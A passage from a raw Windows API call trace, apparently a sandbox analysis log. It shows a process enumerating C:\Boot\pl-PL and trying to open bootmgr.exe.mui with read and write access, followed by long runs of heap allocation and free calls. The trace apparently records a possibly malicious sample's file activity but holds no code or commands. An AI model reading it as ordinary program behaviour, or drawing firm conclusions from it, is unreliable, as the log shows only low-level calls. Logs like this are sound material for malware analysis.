ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.922] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0124.922] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.922] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.922] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.922] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.922] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap 